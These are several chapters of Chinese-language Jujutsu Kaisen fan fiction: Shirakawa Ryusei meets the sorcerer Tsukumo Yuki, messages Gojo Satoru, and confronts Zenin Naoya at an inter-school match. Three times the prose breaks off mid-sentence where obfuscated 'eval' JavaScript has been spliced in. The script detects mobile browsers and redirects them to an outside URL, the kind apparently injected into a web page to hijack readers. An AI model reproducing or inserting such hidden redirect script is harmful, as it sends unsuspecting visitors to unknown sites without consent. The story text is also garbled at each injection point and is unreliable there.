“好了好了,知道你也感兴趣,一起过来看把。” 伊地知三步并两步地凑过去。 虽然偷任务档案这件事让他提心吊胆的,但是大家都在拼命闯祸,他做一点小小的出格的事,应该没问题吧? [任务目标: 保护“星浆体”天内理子,确保其安全抵达东京咒术高专薨星宫,与天元大人完成同化。] “天内……理子?” [任务过程:……] 白川琉世眯着眼睛,仔细辨认,文件袋正中间的封面有遮挡的白条,中部的文字看不到。 [任务结果:失败。 任务目标死亡。 星浆体天内理子头部中弹,死于术师杀手伏黑甚尔(原禅院家成员)袭击。 目击人夏油杰。] …… 21. 第 21 章 轰鸣响起,车身像枚炮弹一样冲出,刮出猛烈的气浪,被改装过的摩托疾驰在青森到关东的高速上,目前正要进入宫城。 白川琉世终于等到了一个出差的机会,这次的咒灵等级不高,但是对人的视线异常敏感,导致两名“窗”遇难。因此任务等级被调高,委派四级咒术师白川琉世前往青森进行调查。 既然是这种特殊任务,也不便于带着普遍没有战斗能力的辅助监督,白川琉世拒绝了辅助监督把他送到青森地区的建议,回绊子那把摩托骑了出来。 说起来这是绊子送给他的生日礼物,然而送礼物的人忘记了自己儿子还没到考驾照的年龄。不过,摩托白川琉世是照骑的,带上头盔他的身形和成年人一般无二,只是平时住山里,不好开上去。没事的时候车还是停在绊子的车库,有事就去开出来,还能顺便检查一下妈妈那里有没有咒灵。 千锤百炼的呼吸法剑士的身体,含金量比什么都靠谱,他的视力、听力、反应能力、肌肉控制能力远超常人,甚至骑超过200码的速度,也能保持绝对的控制能力。但是,交通规则还是要遵守的,超速被交警扣下然后让夜蛾老师领回去,这种丢人的死法他不要。 [琉世,路过宫城的时候,去这个地方检查一个东西吧。] 他想起刚刚收到的短信。 [定位:宫城县杉泽第三高中。 图片 图片 就在这里,应该是学校附近,检查一下封印还有没有效。] 白川琉世回复:[没问题,我已经在回去的路上了。] [不过,这是什么?] 五条悟:[宿傩的手指。] 啊,原来是那个。 前几天悟给了他一本稍微用力一点翻就会碎掉的旧书,说是五条家关于黄泉津御命的记载。 白川琉世熬夜看完了,对宿傩这个名字也有印象。不过诅咒之王对白川琉世的冲击力,显然没有其他内容来得大。 宿傩的封印已经一千年没有事了,为什么忽然在意这件事? 最终白川琉世也没有多问,五条悟这么做,一定有他的理由。同时,他顺便问了下两个人都关心的事。 [头上有缝合线的人有线索了吗?] 五条悟:[已经让辅助监督去查了,结果那些家伙到现在也没带来什么好消息,一点效率都没有,看来靠他们是不行了。] 聊天内容,很正常的公事公办。 过快的风速刮过裸露的皮肤,留下片片燥热。 那之前那些是怎么回事啊!他的错觉吗?白川琉世一激动差点超速。 可是,那种情况下,看自己担心着急的样子,悟会觉得好笑吗?不,悟不是这样的人,那是喜欢看自己关心他吗?是想要和他多待一会的意思吗? 并不是在作弄他。 在黄泉津比良坂的风里,那种萌动的,满心的喜欢,因为两人离得太近,恍惚间白川琉世分不清到底是谁的感觉。 不是错觉的话,为什么接下来遇见了几次,又好像只是普通的同学那样。 不不不,与其搞不清楚对方的想法,他自己的想法也完全乱了套。 一开始关注五条悟只是因为他非常完美,长相完美,性格完美,实力也超强,那种感觉是崇拜。后来…… 想起古籍里耗费半本书描写的,黄泉津转世和菅原觉的“私情”,白川琉世一口气没上来,头盔下的脸热度节节攀升。他也并不是一定就信上面写的,但悟显然早就看过这本书了! “喂,少年,你,喜欢什么样的女人?” 一道爽朗的女声在耳边炸响,无异于平地一声惊雷,吓得白川琉世“嘎”地一声,超速三秒。 刚刚只是依靠身体的本能驾驶,脑子完全跑到别处去了,没注意有一个女人骑着摩托,与他并驾齐驱了一会了。 怎么回事,在高速公路上还能碰到搭讪吗? 女人也戴着头盔,只能看到漂亮的金色长发在空中扬起,她穿着黑色的紧身背心,牛仔长裤,从身材上来看,大概二十多岁的样子。 “抱歉,我是未成年。”白川琉世保持着100码的速度,既不能超速,也摆脱不了同样在超速边缘大鹏展翅的女人。 “没关系,少年。”女人大声说,“XP是无关年龄的。” “为什么忽然问陌生人这种问题啊!” “XP可是了解一个人最好的途径。” bru,这么说他可就跑了。 心一横,白川琉世猛转油门。他这辆车是无聊的时候自己改装的,最高速度比市面上大多数摩托快了不止一星半点。 抱歉了,夜蛾老师。 “诶?”金色头发的女人一愣,提速,然而……。 “你追不上我,你的车太‘温柔’了。” 白川琉世哈哈大笑,引擎车压过涛涛浪声,沿着沿海高速加速,很快就甩掉了这个奇怪的女人。 …… 仙台站喜久水庵。 是这家没错吧,之前绊子去仙台采风,专门打电话告诉他,这家的喜久福很好吃。 出差然后买伴手礼给大家,真是新奇的经历。教学楼大厅一楼的桌子上,经常摆着大家出差从各地带回来的特产,是按人数买的,每个人都可以拿。每次去拿前辈放的特产,白川琉世都会觉得很温馨。 生奶油味的和抹茶味的喜久福,那就每个人都来一份吧。 任务目标是调查,但他顺手把咒灵祓除了,之后也不着急回去,稍微逛了一下仙台。仙台站附近有一家大书店正在做活动,玻璃窗上贴着花里胡哨的海报。一向对漫画感兴趣的他,自然要凑过去看看是什么最近力作。 《辉夜大小姐想让我告白~天才们的恋爱头脑战~》 少女漫画啊,不过这个销魂的波浪号是怎么回事,而且莫名感觉这种名字的漫画,出现在这个时代有点太超前了。 脑子里想着死腿快走吧,双腿却老实地犹豫住了。该说不说,他对这方面忽然产生了探究欲。 要买吗? “少年,你的车不错,改装过了吗?” “啊?”白川琉世弹射起步,猛地转身,那个金发摩托女竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325641|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴魂不散地站在不远处。 “hi ,好巧。”女人的墨镜别在衣领处,大方地向他挥了挥手。 如果不问奇怪的问题,他还是很喜欢这种爽朗的性格的。 “hi,巧是很巧,但我们不认识吧。” “你是咒术高专的吧,是东京校还是京都校的?” “啊,那你也是……。” 认识他这身校服,应该也是“道上”的人。 “可以算是古早校友。” “原来是前辈。”白川琉世马上忘记了那个奇怪的问题,“我是白川琉世,东京校一年级。” 但对方没忘记那个奇怪的问题。 “少年,你喜欢什么类型的女人?” 果然,上过咒术高专的女同学都不是什么简单角色。 “之前我可能会认真考虑一下,但是现在,我脑子很乱,无法回答。” 金发女人目光移到海报上,黑发少女正隔着一层塑封膜,温和地望着她。 “原来如此,原来如此。”她挤到白川琉世旁边,和他一起站在海报前,“她是个什么样的人?” “她?” 日语里他和她读音是不同的,因此白川琉世真实地迷茫了一下。 “那,他?” “他?” “对,就是你看着海报时,心里想的那个人。” 九十九由基看着眼前的少年肉眼可见的慌乱,眼神也错开了。 金发女人露出了然的笑容。 “为什么对这个好奇啊,我们也是第一次见面,对了,我还不知道你的名字。” “九十九由基,特级咒术师。” “特级?”白川琉世整个肃然起敬,后退一步,“你就是三个特级咒术师中的另外那个。” “没错,我就是除了五条悟和夏油杰外,另一个特级咒术师。” 这个给人感觉很“不良”的少年,看来也到了感情萌动的时期,真是意外的纯情啊。九十九由基没有把故意错开的话题再引回去,只是鼓励他,“如果有喜欢的人,要勇敢告白哦。” 告白,这两个字在海报上用粉色的字体夸张地显现出来。 “我我我也没没没说我有喜喜欢的人啊。” 不过,那本漫画或许有一些参考价值,一会买一本看看吧。 九十九由基:这个人嘴是真硬啊。 总之,曾经听说过的,常年在国外游荡的特级咒术师,有时候也会回日本,只是在日本也依旧过着街溜子生活。如果不是不能老在人群聚集处待着,这也算白川琉世向往的生活,更何况,他也很喜欢摩托车。 两人相谈甚欢,特别是白川琉世表达了毕业后也想去体验几年街溜子的生活,包括但不限于时间自由,随时飙车,还能自由领总监部的工资。九十九由基表示欣慰,并且亲切地纠正了少年错误的看法。 “不是去做街溜子,我有自己的事做,我在搞研究!你是不是从夏油那儿听说,我无所事事的。” “夏油前辈?那倒没有,不过所有知道你的人,都说你不干正事。” 22. 第 22 章 中午,自助烤肉餐厅。 两人巧遇后,正好是饭点,他对九十九说了一点的“研究”很感兴趣,特别是听说九十九由基和夏油杰聊过这件事后,就邀请对方一起吃午饭。九十九由基也不拘小节,两人相约来到自助烤肉餐厅。 至于为什么选自助,两人都对自己的饭量有自知之明。 “简单来说,”九十九由基把烤盘上滋滋作响的肉片翻了个个,“我想创造一个没有咒灵的世界。” 或许是之前车开得太快,赶路太急,把脑子甩出去了,白川琉世一瞬间产生了奇怪的既视感,耳边仿佛响起了无数声“我想创造一个XXX的世界”,说话的人音色各异,内容也各不相同,但都一样的魔性。 “愿望很好。”白川琉世真心这么觉得,“这种事大家都想做到,你有什么头绪吗?” 自助餐厅里人满为患,两人挤在一张不大的双人桌上,被烤肉的香气包围,谈论和人类命运息息相关的事。 “白川,你应该知道咒灵产生的原因吧。” “因为普通人每天都泄露出咒力,特别是情绪不好的时候,更会泄露出大量咒力,累积多了就会产生咒灵。” “咒术师是不会产生咒灵的,当然,不包括术师死后变成诅咒的情况。平时,术师的咒力是在体内流动的,我们拥有对咒力的掌控力。” “是这样没错,在之前,我和夏油前辈也说过这件事。”白川琉世开始认真思考几种可能性,“但是当时,夏油前辈状态不好,我们的谈话没进行下去。” 九十九由基心念一动,“莫非,他在想那个疯狂的可能性?” 白川琉世给予肯定的眼神,“夏油前辈对非术师的恶意比较大,但是,我并不知道他具体是怎么想的。” “去年夏天,我和夏油聊天时,提出了两个想法。一是让全人类的咒力消失。白川,你知不知道有一种人是天生的无咒力。” “可能……有印象?”白川琉世碰触那些模糊的记忆,“算了,当我不了解吧。” “每个人都有咒力,或多或少罢了,偶尔会有人天生没有任何咒力,这样的人叫做‘天与咒缚’。但天与咒缚非常少,我之前也只见过一个,想从他身上着手研究让全人类失去咒力的方法,不幸的是,那个人在去年死掉了。” “样本很稀少的话,对研究不利啊。”白川琉世试图理解并合理化九十九由基的意图,“按你的说法,全日本只遇到一个,把希望寄予这种特例是没法推进研究的。” “很聪明,所以我放弃了这个想法。” 第一波肉已经烤好,再严肃的论题也抵挡不住烤肉的诱惑,两人已经吃了起来。九十九由基打开一瓶可乐,裸露在外的手臂隆起漂亮但不明显的肌肉线条。 九十九由基个子很高,体型看起来并不强壮,肌肉也不明显,但白川琉世本能地感觉到,她是个力气非常大的人,这也算□□与□□之间属于同类的探测雷达。 “我的第二个想法是,让全人类学会控制咒力。” “能控制咒力,那不就是咒术师了,所以,你的意思是让全人类都变成咒术师,到最后咒术师普遍化,也就没有咒术师这一职业了。” “太对了。”九十九由基说,“我和夏油曾经谈到过‘间苗法’这一说,如果对普通人施加压力,给予他们危机感,让他们进行咒力方面的进化,或许能达到每个人都能控制咒力的结果。” “这种做法一定会走极端。”白川琉世敏锐地察觉出了其中的不对,“人类的生活自古以来并不安逸,也没见有什么进化,如果要促使他们进行这么大的进化,肯定会采取非常粗暴的措施,比如把咒灵填充满普通人的世界,让他们不能适应就死去。这种做法,实在没什么意义。” 不过,夏油杰未必会这么想,那天他的态度,很明显会支持这种“间苗法”。 “是的,我是不会支持这么疯狂的举动的。” “那你精神状态真的很平稳,”白川琉世现学现卖,“不像个咒术师。” “可能是因为我平时不做任务,”九十九由基俏皮地眨了眨眼,“不上班的人精神总是很好。” 是的,精神平稳的人,胃口也好,这两个盖章认证的咒术师叛徒,片刻间就吃下了十几盘子肉,给年轻的自助店老板上了一课。 “不上班的原因,是为了向‘让全人类学会控制咒力’这个目标努力吗?” “目前来说,是的。” “有什么研究成果了吗?”白川琉世表现出了超出常人的关心,“如果真的有不经过牺牲就能一劳永逸的办法,那你翘班一辈子拿工资也是应该的。” 然而,九十九由基心虚的眼神已经代表了一切。 “没关系,前辈,继续努力嘛。”白川琉世露出八颗牙齿,给九十九由基夹了一堆肉。没什么研究成果,表面上看来不是好事,但九十九由基平稳的心态更值得庆祝。 万一她有一天忽然说,要杀光普通人,建立一个只有咒术师的世界,那就麻烦了。以她特级的实力,随便折腾折腾就能毁灭一座城。 “不过,关于永远消除咒灵,和夏油前辈聊天时,我也想过一些。一是……杀光非咒术师,创造一个只有咒术师的世界。” 说完,他提心吊胆地等着九十九由基的反应,就怕她双眼一亮,表示认同。 “开什么玩笑,你怎么不干脆毁灭世界。”九十九由基忽然觉得对方阳光开朗大男孩般的笑容,变得阴森起来。 “啊哈哈,你觉得没有道理就好。”这话说的听的都吓了一跳,白川琉世喝口可乐压压惊,继续说,“第二点和你说过的差不多,我也想过消除所有人的咒力,但没想到什么有效的办法。” “没关系,如果你随随便便能想到,我这么多年就真的在做街溜子了。” “还有一个想法,我觉得或许是最容易做到的。” “你说。”九十九由基放轻了咀嚼的声音。 “人类的咒力是先跑到空气中,经过累积,再形成咒灵。假如能在空气中注入一种东西净化咒力呢?就像在水中加入消毒剂一样。或者还可以研究一种装置,安装之后,装置能覆盖一部分区域,昼夜不停地净化,或者削弱人体跑出的咒力,原理或许类似于运营商基站发射信号。”白川琉世连比划带解释,“这些只是一点想法,如果要问我具体怎么做,我是不知道的。但是,咒术界不是有好多神奇的东西吗,或许能开发咒具做到这些。” 不仅是咒具,咒术师们的术式也五花八门。万一哪天,有个人的术式是净化咒力,另一个人是扩大别人的术式范围,再出来一个,术式是延长别人的术式时间,他们仨往那一站,就能保咒术界千儿八百年的和平。至于之后的事,那就再想,总不能以后肯定没有更好的办法了吧。 “你说的好哇,你说的太好了。”特级双手撑桌,站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325642|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,“真是天才的设想。” 她兴奋地加了白川琉世的联系方式,感叹高专真是人才辈出啊,这几年更是风水养人,实力恐怖和头脑清奇的都一茬茬冒出来了。 “这些交给你了,九十九前辈,希望我一毕业就能步入一个根本没有咒灵的咒术界。” 至于他,入学满打满算,也就两个月,能起到什么作用呢。 九十九由基已经从可乐换成啤酒,举起堆满泡沫的玻璃杯,“为咒术界的未来,干杯!” 白川琉世拿起可乐瓶一碰,“干杯!” 滴——。 手机响起邮件的提示,白川琉世听到这个,马上把饮料放下,刷地拿起手机。 [发件人:早川理子 琉世哥哥,我和妈妈搬家了,新家的住址是大阪市樱木町3丁目23番15号,欢迎你和悟哥哥来做客。 那些穿黑色西装的叔叔很好,帮了妈妈的忙,我们的新家和我入学的新学校,也是他们联系的。新家很好,租金也很便宜,那些叔叔是你们的朋友吧,真的非常感谢! 图片] 邮件里插了一张照片,理子和一个棕发的女人站在一栋房子前,两个人都微笑着。 [回复: 我会告诉悟的,有空会去你家玩。(大笑)生活还顺利吗,理子妹妹?] [早川理子: 很顺利,遇到了好多好人,我和妈妈一定能鼓起勇气继续生活的。(花朵)] [回复: 理子以后一定会幸福地生活下去。(加油)(加油)] [早川理子: 嗯!] 白川琉世马上把理子的第一条邮件转发给五条悟。 [白川琉世: 悟,理子现在看起来还不错。] 手机滴地一声,马上带来了回复。 [五条悟: 哈,和那个哭得稀里哗啦的小女孩完全是两个人了(欢呼)] 白川琉世看着对方的回话,露出微笑。 只是……辅助监督会把事情处理地那么周到吗。 [悟,辅助监督还会帮别人找房子和学校吗?] 这么问过去,白川琉世的目光停在手机屏中理子的名字上。 那个相同的名字,会是这个原因,才让悟更加关注吗? [(墨镜笑)当然不会,是老子让他们做的,毕竟让可爱的女孩住危房不符合最强咒术师的审美。] …… 糟、糟了。 这种从小腹涌上来的酸麻,途径心脏化成柔软胀满整个心脏,塞得胸口满满当当的,什么话都说不出来。 他在手机上戳了半天,含泪发出一句。 [悟,你真是个好人。] 发完,好像魂都被吐掉了一样,仰面从椅子上缓缓滑落下去。 “喂,白川,”九十九由基神神秘秘地笑着,“刚刚和你联系的,是谁?” 一会如临大敌,一会脸红憋气如尿急,还带有时不时的傻笑,举手投足全是独属于这个年纪的酸臭味。 “悟,五条悟。” “噗。”九十九由基喷出一口酒,“是我想的那个五条悟吗?” “还能有哪个五条悟。” 九十九由基张了张嘴,想说什么,又憋回去了。 “是他啊……就,隔行如隔山,这很难评,我祝你成功吧。” 23.第 23 章 “来,chi-zu。” 擂台上,五条悟正靠近一个同样穿高专制服,眼睛含泪的少年,笑着拍下合照。 这可是关于姐妹校交流会的美好回忆,也发给琉世一张好了。 对面京都校的败者,在他手下还没坚持1秒钟,就丧失战斗意志了,眼下正被京都校实际上的中心人物——禅院直哉讽刺挖苦。 明明只是二年级,却对自己学校的三年级毫不留情,真是仗着自己家世胡作非为的小烂橘子。 这么想着的五条悟,可能因为某前辈执念过重,忽然想起庵歌姬毕业前,他也是毫不留情地捉弄前辈的。 不一样啦,不一样。 跳下擂台,五条悟走到阴凉的地方,家入硝子正叼着一根雪糕,塞得两颊鼓鼓的。 “加油,七海前辈!”伊地知鼓起勇气,小声为即将上台的七海加油。 “杰那家伙在搞什么啊。”五条悟似真似假地抱怨着,“个人赛忽然就不来了,老子已经通知琉世了,他正从仙台往这赶。” “来不及吧。”看着七海,家入硝子得出结论,“就算琉世答应参加第三场,也赶不回来了,第二场用不了多少时间。” 五条悟却很有信心,“那家伙说一定赶回来,所以还是期待一下吧。” 京都校那边搞什么田忌赛马,最弱的那个和五条悟比试,还没开始打就吓得认输了,上台和七海比试的那个,反而是实力最强的。 如果要赢的话,这确实是正确的做法。而最后一个上台的,应该是禅院直哉。 “悟。” “嗯?” “那件事我告诉白川了。” 五条悟一副安静的不像他本人的样子,因为侧面的角度,硝子隐约看到他墨镜后的眼眨了眨,除此之外,没有任何反应,平静地不像她聒噪的男同学。 没有咒力,有伤不治,他怎么不顺便表演一个生命垂危呢? 真有你的,五条悟。 “喂,你不会是认真的吧。”没听到插科打诨,家入硝子开始害怕了。 “如果硝子说的是老子的感情生活的话。”五条悟毫不羞愧地挑明,“没有恋爱的青春是不完整的。而且,老子这么帅气强大,无死角地完美,被后辈喜欢上再正常不过了。” “我没有问你白川的想法,毕竟那家伙喜欢你,明显到所有人都能看出来。”家入硝子忧伤地咬着雪糕棍,“你是怎么想的?” 以良心来讲,如果白川这种后辈的感情,因为学长的逗弄心受到伤害,就算是不爱管闲事的硝子,也觉得那很坏了。 “哈?这种事还用问吗?老子的态度一向很明确。” 五条悟反而有点郁闷。 没有好感的话,不想尝试的话,怎么会纵容对方的肢体接触。 黄泉津御命和菅原觉什么的他才不管,老掉牙的黄历了,对五条悟和白川琉世没有任何影响。 他们之间是真真切切相处过的,他从一开始就觉得琉世的脸很帅气,后来发现后辈为人可靠,不管说什么都让人心情很好。这些都和前世今生那些乱七八糟的东西没有关系。 因为白川琉世是个在某些情况下很敏锐,但在某些情况下又异常迟钝的家伙。 这种时候,等他自己明白自己的心情,然后表达出来,才能算不被外界观点影响的,完美的感情发展轨迹。如果仓促间戳破这点,琉世反而会怀疑自己本来的想法,五条悟毫不怀疑这点。 这种绕脑更绕口的想法,换成以前他绝对嗤之以鼻,但是两个人的感觉进展到这步,处于其中的人莫名其妙理解了其中的微妙。 “啊,”五条悟摆出一副忽然想起来的样子,“你好像没有过感情生活啊,硝子。” 家入硝子:神金…… 对男同学的无语,让家入硝子决定闭嘴,她看向对面京都校的人群,那个金色头发的少年终于过完嘴毒的瘾,放过了被他辱骂了好久的前辈。 输给五条悟而已,竟然也会被骂,他自己上也会输吧。 同样是御三家的少爷,五条悟的顽劣和他比起来,根本不值一提。 七海尽力了,但对方是京都校战力最高的人,最后还是输了。家入硝子上前为两人治疗,“已经发挥出应有的水平了,七海。” 与家入硝子某种程度上相似的七海,get到了前辈的安慰。 “我会继续努力的。” “娜娜米,竟然输掉了。”五条悟做着“好丢人”的口型。 七海:拳头硬了,真的。 …… 昨天的团体赛,毫无疑问是东京校赢了。个人赛一共有三场,目前是一胜一负,最后的结果,就全指望最后一场的胜负了。 京都校派出的人选是禅院直哉,这人高专校服外面,竟然披着羽织,耐热程度是当之无愧的第一。东京校暂定夏油杰,但夏油因故缺席,后来改成的白川琉世也迟迟未到。 等了十五分钟后,两校的教职工商量解决办法。夜蛾正道说东京校今天没别人了,只剩下家入硝子和刚入学两个月的一年级生伊地知,都算毫无战斗能力的,不然就让一把给京都校吧。 夜蛾也是有点想法的,根据时间来说,白川琉世赶过来的几率不大,硝子绝对不能上场,伊地知去了也是送,不如大方一点直接让了,个人赛还能让京都校赢得憋屈点。 京都那边也没什么意见,但禅院直哉不愿意,怒斥东京校看不起他们。他指名道姓要和白川琉世打,并且表示多晚都会等。 等的时间越久,禅院直哉越烦躁,在将近5点钟时,又忍不住要发脾气,“你们到底有没有通知他?悟君,把联系方式给我,我来打。” 在场的所有人,只有面对五条悟时,禅院直哉才愿意保持基本的礼貌。 五条家和禅院家虽然水火不容,但在一些社交场合中还是要交际的,五条悟和禅院直哉年龄相仿,这么多年每年都要见几次,时间久了就混了个半生不熟。 五条悟只是偏向学校正门的方向,侧耳倾听,好像已经听到来人的动静了。 其他人犹疑了一会,不过几秒后,就听到一阵引擎声由远及近,白川琉世骑着一辆黑色的摩托疾驰而来,一道刺耳的刹车声后,停在场地中央。 他长腿一放撑在地上,摘下头盔,向东京校的大家挥了挥手,“悟,大家,我回来了!我有带伴手礼哦!” “你还浪费时间去买这东西?”禅院直哉的火气不降反升,“你知不知道我等了你多久,废物!” 嗯?谁?白川琉世转头看向京都校的方向。 他和九十九由基吃完饭就各奔东西,确认了悟拜托他检查的封印暂时没问题,又在仙台闲逛了一会,忽然接到五条悟的电话,说原本不用他参加的姐妹校交流会,因为夏油杰缺席,需要他赶回学校救急。白川琉世只好一路超速回来了,因为太着急,还直接骑上了高专,要知道摩托跑山路可不是很舒服。 对面京都校的学生也都穿着校服,那个说话的人一头金色的短发,打着耳钉,长相倒是俊秀,但说话尖酸刻薄,眼神一看就心怀鬼胎。老实说,现在的社会,坏人大多会遮掩一下,像他这样坏的明明白白的倒还少见。 好像那种设计出来就是给主角使绊子的角色。 白川琉世把车熄了火,依然跨坐在上面,把装着伴手礼袋子的书包递给七海,眼神看向金发少年。 “我在接到回校的通知前,就买好了伴手礼。” 那双金色的眼睛直视禅院直哉,有些轻微的不悦,但也没有到愤怒的程度。 禅院直哉看着这双眼睛,火气更大了。琉世总是这样,不管发生什么事,那双眼睛最多只是不悦,禅院直哉从来没看过他愤怒的样子。 “如果接到通知后,我还有时间买东西,也会给你们带一份的,前提是我知道你们没有不礼貌的人。” 白川琉世话说得不软不硬,态度上却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330806|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没那么温和,脚撑地上身后仰,双手抱臂,冷淡地看着眼前的人。 那些平时随便就能说出口的恶言恶语噎在嘴边,禅院直哉一时什么也吐不出来。琉世那家伙不像小时候,因为比他小一岁,个子比他还矮一点,这么多年不见,竟然长成了特别惹眼的高个子。校服外面穿着黑色防风外套,一张冷酷的脸,不悦地看着别人的时候,胆子大的人往往也不敢说什么。 竟然从小时候傻了吧唧的样子,擅自变成这样。 禅院直哉想着年少的时光,胆子又肥了,提高声调说,“废物,还不乖乖道歉,找这么多乱七八糟的理由,你以为搭上悟君就了不起了?” 呛。 等众人意识到,那是刀出鞘的摩擦声时,禅院直哉已经后知后觉地把手放在左边的脸颊上。他只感觉一阵冷风袭来,然而,完全没看清琉世的动作,对方的刀就已经收回了。 怎、怎么可能,如果论快的话,不说悟君,他的父亲禅院直毘人,被称为最快咒术师,而他作为继承了父亲“投射咒法”的人,自认为与父亲没有太大的差距。 可恶,悟君就算了,怎么连这个废物也变得这么强,凭什么是他先接近与甚尔的距离—— 那把日轮刀没有收鞘,被主人平举着,刀刃上还躺着一缕金发。 “再让我听到那两个字,下次就不会只是削掉你的头发了。” 禅院直哉的脸涨得通红。 尽管胸口的愤懑烧得他想大闹一场,但这么下去也只是更丢人。他强压着羞耻和愤怒,硬生生挤出一个恶意满满的笑。 “像你这样几乎没有咒力的人,既不能成为咒术师,也不能像有的人那样,依靠□□站在世界的顶点。厚着脸皮努力到这种程度,一定很辛苦吧。” 这种阴阳怪气的京都腔,听得京都校的人都牙齿发痒。 之前禅院直哉虽然没礼貌,但还没有对他们东京校的人出言不逊,现在一口一个废物,实在让人难以忍受。七海一只手提着白川琉世的书包,另一只手悄悄去够背后的刀柄,他不爱计划之外的麻烦,但也不是没脾气的人。 不过,比他沉不住气的另有其人。五条悟走到白川琉世身旁,“喂,琉世,你不会以为这个人是在夸奖你吧。” “怎么可能,我又不傻。”白川琉世压压手指,发出清脆的咔吧声,“他就是我的对手吧,到时候揍一顿就好了。” “哈,”五条悟一副忍不住笑的样子,“直哉,难道你没有发现,琉世从刚才开始,就什么也没记起来。” “记起来?”白川琉世认真地回忆了一会,眼神不停地在五条悟和金发男之间移动。好怪,怎么悟对着金发男一脸幸灾乐祸,而金发男的愤怒变成了强烈的不可置信,然后又爆发出更强烈的愤怒。 “琉世,你的营养是都供给个子,大脑完全不发育的吗?” 金发男气愤到眼白都爆出红血丝了,人生气到这种程度还挺可怕的。 “叫我吗?”他还是摸不着头脑,“上来就叫名字,太自来熟了吧,你谁啊?” 仿佛这时候自我介绍就是自取其辱,禅院直哉一言不发,令人不爽的恶意也完全变成了战意。 “禅院直哉啦。”五条悟双手合十,清脆地拍了一掌,“因为被你完全忘记了,正闹脾气呢。” “他闹脾气一看就不是因为这个吧。”那种人看起来就像路边的狗不是他喜欢的颜色都会踹一脚的人。 禅院家是他曾经待过的地方,具体的记忆,只剩不多的一些画面了,但都不痛不痒的。禅院家的大门,长长的木质走廊,庭院的池塘,跪在障子门后面的侍女,一大堆穿着素色和服的人,以及偶尔窜出来的讥讽。还好没留下多少记忆,因为单凭本能回忆,白川琉世也无端生出一种讨厌的感觉。 白川琉世又看了禅院直哉一眼,那双尾梢上吊的狐狸眼,倒是莫名眼熟。 “啊!”他指着禅院直哉大叫,“我确实见过你。” 24.第 24 章 自从去年觉醒了“投射咒法”,禅院直哉就从原来的院子里搬了出来。 和令人羡慕的独生子五条悟不同,禅院直哉从一睁眼就充满了竞争意识,好在他的哥哥们个个都是废物,而他又特别争气。 所以,更大的院子,更多的侍女,所有人的恐惧和奉承,以及未来的禅院家主之位,都是他应得的。 今天他心情不错,甩掉了跟随的侍女,向躯俱留队的演武场跑去,只是在看到心心念念的那个人之前,迎面而来的撞击毁掉了他一大半好心情。 走廊的拐角,一个同样黑色短发的孩子,捂着额头“嘶”了一声,马上伸出手想拉摔倒的禅院直哉,“你没事……直哉?” “怎么是你这个废物。”禅院直哉嫌弃地打开男孩的手,自己爬了起来。 他里面穿着衬衫,外面穿着整齐的羽织和素色的袴,在禅院家,上到九十九下到刚会走,都必须严格着装,丝毫不能丢禅院的脸。但是,第一次见到白川琉世时,这家伙竟然穿着白T和短裤,还有脸问他,“你不热吗?” 禅院直哉本来以为这个自称“琉世”的孩子,是家里哪个下人的孩子,所以这么不懂规矩。当时,他大发雷霆,让侍女鞭笞琉世,但是侍女却隐晦地在他耳边解释。 “这是产屋敷家送来学习的孩子,现在由隆大人教导。” 禅院直哉虽然不知道产屋敷家是什么,但在察言观色这方面十分敏锐,明白那个姓氏拥有能让侍女打断他说话的重量。 暂时收敛的直哉,却无法掩饰对白川琉世的不满,每次遇到都会开口辱骂,他不明白,这么一个咒力和普通人相差无二的人,为什么要来这里学习控制咒力。 禅院家成员之间互相称呼,都是叫名字的,毕竟大家都一个姓,禅院直哉因为没怎么和外界接触过,不太了解外面关系不好的人是绝对不会叫名字的,就算非常厌恶,也一直叫着“琉世”而不是“白川”。 这一度让白川琉世也十分混乱,但是,他也无法用禅院来称呼任何一个禅院家成员,为了避免叫一声一群人回头的场景,也是忍着膈应叫“直哉”,叫着叫着就习惯了。 “千鹤和一华姐姐呢?” “那是谁?我怎么知道。” “老是走在你后面的两个姐姐。” 禅院直哉像第一次看到会说话的猴子一样打量白川琉世。 “谁会专门去记侍女的名字,琉世你这个废物,脑子能不能装点有用的东西,比如见到我要问好,懂不懂?” “怎么问好?”那双金色的眼睛,带着不悦,却还是耐心回应了。 “现在是早上,要说‘早上好’,然后站在路边对我鞠躬15度。” “好,你也早。”白川琉世向演示着就莫名其妙鞠躬的禅院直哉点了点头,直接走了过去。 暴击百分百。 “白、川、琉、世!” “做什么,今天没空和你吵架,隆师父还在等我。” 